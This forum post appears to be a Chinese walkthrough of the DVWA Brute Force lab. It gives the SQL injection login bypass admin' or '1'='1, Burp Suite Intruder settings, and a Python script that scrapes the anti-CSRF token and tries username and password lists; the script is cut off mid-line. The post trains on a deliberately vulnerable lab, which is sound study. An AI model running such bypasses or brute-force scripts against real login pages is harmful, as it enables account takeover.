请选择 进入手机版 | 继续访问电脑版

DVWA - Brute Force:暴力破解篇

[复制链接]
小甜心 发表于 2020-12-31 18:12:56 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
DVWA

Brute Force:暴力破解篇



  • 前言
    暴力破解是破解用户名暗码的常用手段,主要是使用信息搜集得到有用信息来构造有针对性的弱口令字典,对网站进行爆破,以获取到用户的账号信息,有大概使用其权限进行一些非法使用。DVWA虽然是一个比力老的靶场,但其题目作为新手入门照旧相当友好,大有裨益的,现有的网站添加了验证码、各种参数来阻止暴力破解,但验证码是可以被呆板识别的,各种参数也是可以被构造的,只要掌握了其底层原理,我们依然可以使用该手段进行攻击。
Low级别



  • 代码
复制代码


  • 方法一:万能暗码
    虽然名为Brute Force,但第一题可以用SQL注入来做,而且非常简单。
    观察源代码,不难发现只要query语句可以或许查询到效果,就可以乐成登录。于是构造语句如下,乐成登录:

  • 关键代码解析
  1. //这一句代码要求result语句可以或许查询到效果if( $result && mysqli_num_rows( $result ) == 1 )$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";//我们将 admin' or '1'='1 注入到代码中之后,由于背景没有对其进行过滤,我们得到的query语句如下:SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';//这样,该语句就被or分成了两个部分,由于第一部分一定可以或许查询到效果,背面的语句并不影响最终效果,所以我们无需在数据库中匹配到正确暗码,只要用户名正确就可以乐成注入
复制代码
Medium级别



  • 代码
复制代码


  • 可以注意到,相比上一题,本题有以下特点:

  • 登录失败会有sleep(2),有2秒的时延
  • 背景使用mysqli_real_escape_string函数对输入进行了过滤,我们上菜鸟教程看下,可以知道这个函数是用来过滤某些特殊字符的,比如我们在上一题里用到的引号。

    既然是暴力破解,我们这里用burpsuite来抓包做一下爆破,使用火狐欣赏器来设置一下署理,在火狐设置选项中找到署理,其他欣赏器也有相关插件或选项可以进行设置。然后给Burpsuite也设置一下署理,这里的火狐署理和burp署理需要是一样的,设置如下图。
PS:在这期间我遇到一个问题,burpsuite无法抓取本地数据包,于是我修改localhost为本机ip,因为localhost还会指向ipv6的域名,导致冲突,所以使用本机ipv4的ip就可以管理这一问题。


然后抓包,可以看到这里使用GET请求提交的用户名和暗码参数,于是我们将抓取到的数据发送到Intruder,点击clear删撤除所有变量,然后光标选中暗码对应值(这里是aaa),点击add将其设置为变量。


然后点击Payloads,输入破解用的密钥(如果有弱口令字典可以点load导入)。

PS:这里我又遇到一个问题,就是爆破之后返回状态码都为302重定向,如果有遇到这个问题的朋侪,在Options最底下一项Redirection勾选always,就可以自动跟随重定向了。

然后点击右上角Start attack,可以看到payload为password一栏的length不一样,这就是我们想要的暗码,第二题Over!

High级别



  • 代码
复制代码
相对上一题,本题主要多了这几个特点:

  • 使用stripslashes函数对用户名和暗码进行过滤
    stripslashes函数:用往复除字符串中的反斜杠,如果出现一连两个的反斜杠,则只去掉一个
  • 对暗码进行md5加密(但这对我们没有影响)
  • 使用generateSessionToken函数参加了Token,可以抵抗CSRF攻击,增加了爆破的难度
    generateSessionToken函数:用来生成token令牌,token值会不断变化,因此不能使用一般的爆破手段


  • 思路:这一题的难点在于token令牌,每次我们登岸时,页面会给我们返回一个token值,下次登岸时我们需要携带这个值让服务器来验证,这意味着我们多出了一个不可控的变量。



  • 方法一:Burpsuite抓包爆破
    我们依然可以选择使用burpsuite来对其进行爆破,只是流程比上一题复杂了一点。首先设置署理,和上面一样,抓包然后ctrl + i,send to Intruder,点击clear,然后选中password和token的值,点add设置为变量,把上面的Attack type攻击类型选项设置为Pitchfork(叉子模式)

    这里增补下Burpsuite的四种AttackType
       Attack Type特点Sniper(偷袭手)对变量依次进行破解,多个标志依次进行。对每个爆破点使用相同字典进行爆破(类似单线程)Battering ram(工程锤)对变量同时进行破解,多个标志同时进行。对多个爆破点使用相同字典同时进行爆破(类似多线程)Pitchfork(叉子)对两个爆破点使用不同字典同时进行爆破Cluster Bomb(集束炸弹)相当于二重循环,对每个第一个点的值,循环对第二个点进行爆破(例如对多个用户,循环对每个用户名使用相同暗码字典进行爆破)那Token值要怎么捕获到呢?通过检察网页源代码,我们可以知道它在value这个位置,注意复制这个value,背面有用。

照旧先到Options里选择一直跟随重定向,然后去Grep - Extract(通过正则提取信息的一个模块)里点击add找value的值,效果???有点问题。没事,我们要的值就在下面,直接鼠标选中就行了

然后到Payloads,先设置导入字典,然后在Payloads Set中设置Payloads Set为2,Payloads Type为Recursive grep递归查找,把token值放进去,Start Attack,乐成!




  • 方法二:Python脚本爆破
注:代码虽然写了很详细的注释,但照旧推荐有学过python爬虫的朋侪看,没有学过的朋侪看起来大概比力困难。
如果有朋侪学过爬虫,那答案也非常简单。我们可以使用脚原来抓取每次生成的token,在下一次登录时携带该token进行爆破,这里我们使用Python来编写这个爆破脚本,使用时记得替换获取到的Cookie值。
[code]import requestsfrom lxml import etreefrom bs4 import BeautifulSoup# 获取页面中的Token          def getToken(url, headers):    # 得到HTML,并将实在例化为一个tree对象,使用xpath(类似选择器的原理)定位到token值所在位置并获取    page_text = requests.get(url=url, headers=headers).text    tree = etree.HTML(page_text)    user_token = tree.xpath('//form/input[4]/@value')[0]    print(user_token)    return user_tokenif __name__ == "__main__":    # 设置参数进行UA伪装并携带Cookie    headers = {        'User-Agent':        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',        'Cookie': 'security=high; PHPSESSID=gqdal64o4bsbbgj0r9sg6r3lq0'    }    url = 'http://169.254.48.14/dvwa-master/vulnerabilities/brute/index.php'    # 从文件中获取用户名和暗码进行爆破(这里的爆破模式类似于Burp中的Cluster Bomb模式)    count = 1    with open('user.txt', 'r', encoding='utf-8') as userList:        for admin in userList:            with open('password.txt', 'r', encoding='utf-8') as pwdList:                for line in pwdList:                    username = admin.strip()                    password = line.strip()                    # 每次发送请求前获取token值,设置好get请求所需要的参数                    user_token = getToken(url, headers)                    payload = {                        'username': username,                        'password': password,                        'Login': 'Login',                        'user_token': user_token                    }                    response = requests.get(url=url, headers=headers, params=payload).content                    # 整理下输特别式                    print("{:
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则


专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )